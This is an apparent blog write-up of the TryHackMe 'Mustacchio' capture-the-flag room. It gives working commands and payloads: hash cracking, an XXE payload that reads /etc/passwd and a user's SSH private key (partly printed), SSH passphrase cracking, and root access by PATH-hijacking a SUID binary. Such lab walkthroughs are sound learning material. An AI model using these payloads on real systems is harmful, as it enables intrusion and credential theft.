TryHackMe | Mustacchio

TryHackMe | Mustacchio
Photo by Alan Hardman / Unsplash

I decided to try another TryHackMe capture the flag room.  This time it was Mustacchio.

This room involved one of the OWASP Top 10 vulnerabilities called A4:2017-XML External Entities (XXE).  This vulnerability, when exploited, can be used to expose internal files, that the user should not be allowed to see.

Ports

To begin with, I ran a port scan of the machine and found the following ports open.

# Nmap 7.91 scan initiated Fri Jun 11 23:07:08 2021 as: /snap/nmap/2280/bin/nmap -p- -sV -o mustacchiosvcs.nmap 10.10.233.219
Nmap scan report for 10.10.233.219
Host is up (0.037s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
8765/tcp open  http    nginx 1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directory Scan

I ran a gobuster directory scan on the port 80 website and found the following directories.

gareth@enso:~/Desktop/Files/Mustacchio$ gobuster dir -u http://10.10.184.61 -w /usr/share/wordlists/dirb/common.txt -o mustacchio80.dirs -q

/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/custom               (Status: 301) [Size: 313] [--> http://10.10.184.61/custom/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.184.61/fonts/] 
/images               (Status: 301) [Size: 313] [--> http://10.10.184.61/images/]
/index.html           (Status: 200) [Size: 1752]
/robots.txt           (Status: 200) [Size: 28]
/server-status        (Status: 403) [Size: 277]                         

A quick look at the website HTML source code did not reveal anything interesting, so I started to look at the javascript files.  At the bottom of the custom/js/mobile.js file I found an interesting string that looked like a password hash. // bcf063452ff1193524e499349d0ac459

Cracking the Hash

I decided to use hashcat to try and crack this hash.  I first used hashid to determine the type of hash it was (although I already had a suspicion it was probably an md5 hash).

Hashid

Analyzing 'bcf063452ff1193524e499349d0ac459'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 
As I suspected, it looks to be an md5 hash.

HashCat

gareth@enso:~/Desktop/Files/Mustacchio$ hashcat -m 0 hash /usr/share/wordlists/rockyou.txt --quiet
nvmlDeviceGetFanSpeed(): Not Supported

bcf063452ff1193524e499349d0ac459:<redacted>
hashcat successfully cracked the password

Admin Panel

I couldn't see anything else to do on the website on port 80, so I turned my attention to the server on port 8765.  This presented me with a login box.

I wonder if the password I found earlier will work?

I logged in with the username admin and the password I cracked earlier on.  This presented me with the following "admin panel"

When I typed a comment into the site, three fields were returned underneath, but they were all blank.

That's a shame!

XML External Entities

I examined the source code for the website and discovered 2 interesting comments.  The first one was in the home.php html, and said Barry, you can now SSH in using your key!.  This suggests to me that there might be a private key file accessible somewhere on the server.

The second comment was in the script tag of the page and pointed to the location of a .bak file.

      //document.cookie = "Example=/auth/dontforget.bak"; 
      function checktarea() {
      let tbox = document.getElementById("box").value;
      if (tbox == null || tbox.length == 0) {
        alert("Insert XML Code!")
      }
  }

I downloaded the .bak file from /auth/dontforget.bak, which gave me the structure I needed to post a valid comment in the admin panel.

dontforget.bak

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>

Internal File Exposure

I entered the following XML into the box, ensuring it was formatted correctly, to see if the site was vulnerable to XXE.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <comment>
  <name>John</name>
  <author>&example;</author>
  <com>testing</com>
 </comment>
This proves the vulnerability exists!

It would appear that the site is vulnerable.  I then tried to view the contents of the /etc/passwd file, in the hope of discovering more information about the Barry user mentioned earlier.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&test;</com>
</comment>

The following comment was returned.

Name: Joe Hamd

Author : Barry Clad

Comment :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin pollinate:x:111:1::/var/cache/pollinate:/bin/false joe:x:1002:1002::/home/joe:/bin/bash barry:x:1003:1003::/home/barry:/bin/bash

Private Key Exfiltration

From the contents of the /etc/passwd file I saw that the barry user had a home directory in /home/barry.  The default name and location for a generated ssh-key is usually the user's home directory, in a hidden directory called .ssh with the name id_rsa.

I updated my XML to try and fetch the /home/barry/.ssh/id_rsa file and got lucky.

-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57eGYOM8wdZvVMGrfN bNJVZXj6VluZMr9uEX8Y4vC2bt2KCBiFg224B61z4XJoiWQ35G/bXs1ZGxXoNIMU MZdJ7DH1k226qQMtm4q96MZKEQ5ZFa032SohtfDPsoim/7dNapEOujRmw+ruBE65 l2f9wZCfDaEZvxCSyQFDJjBXm07mqfSJ3d59dwhrG9duruu1/alUUvI/jM8bOS2D Wfyf3nkYXWyD4SPCSTKcy4U9YW26LG7KMFLcWcG0D3l6l1DwyeUBZmc8UAuQFH7E 

<redacted>

+Z87nFImxw95dxVvoZXZvoMSb7Ovf27AUhUeeU8ctWselKRmPw56+xhObBoAbRIn 7mxN/N5LlosTefJnlhdIhIDTDMsEwjACA+q686+bREd+drajgk6R9eKgSME7geVD -----END RSA PRIVATE KEY-----
Shame it's encrypted with a password

SSH Key Password Cracking

I had to run ssh2john.py to convert the file into a format that John the Ripper understands. ssh2john.py id_rsa > johnid_rsa

I could then run john to crack the password.

gareth@enso:~/Desktop/Files/Mustacchio$ ~/John/run/john johnid_rsa --wordlist=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<redacted>       (id_rsa)     
1g 0:00:00:00 DONE (2021-06-12 11:11) 1.041g/s 3094Kp/s 3094Kc/s 3094KC/s urieljr.k..urielandrea
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Retrieving the user flag

With the private key password for the barry user, I was able to SSH onto the server and capture the user flag.

gareth@enso:~/Desktop/Files/Mustacchio$ ssh -i id_rsa barry@10.10.184.61
Enter passphrase for key 'id_rsa': 
barry@mustacchio:~$ cat user.txt 
<redacted>

Privilege Escalation

As part of my routine, I did a search for all the files with the SUID bit set.

barry@mustacchio:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/gpasswd
/home/joe/live_log
/bin/ping
/bin/ping6
/bin/umount
/bin/mount
/bin/fusermount
/bin/su
A custom binary always sticks out

There is a binary file in the /home/joe directory which I have access to called live_log that has the SUID bit set.  I decided to run the strings command on the binary file to try and see if there were any commands it was running that I could take advantage of.

...
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux
...
the tail command is being called without an absolute reference

From the strings output I noticed that the tail command is being called, but it is not being referenced using an absolute path.  

Instead of being called from /usr/bin/tail it is being called as tail and letting the operating system find it from the paths listed in the PATH environment variable.  

I made my own version of tail and added it to the PATH variable. This file should run instead of the actual tail binary, provided its location is listed before the location where the real binary exists.

barry@mustacchio:/home/joe$ cd /tmp
barry@mustacchio:/tmp$ nano tail
barry@mustacchio:/home/joe$ cat /tmp/tail
#!/bin/bash
/bin/bash
barry@mustacchio:/tmp$ chmod +x tail
barry@mustacchio:/tmp$ export PATH=/tmp:$PATH
barry@mustacchio:/tmp$ cd /home/joe
barry@mustacchio:/home/joe$ ./live_log 
root@mustacchio:/home/joe# cat /root/root.txt
<redacted>

Summary

It was good fun to learn more about XML External Entities and how to exploit this type of vulnerability.  However unrealistic it may be, I actually enjoyed finding the clues in amongst the source code for a change, rather than through a misconfigured FTP or Samba service, which is quite common for TryHackMe CTFs.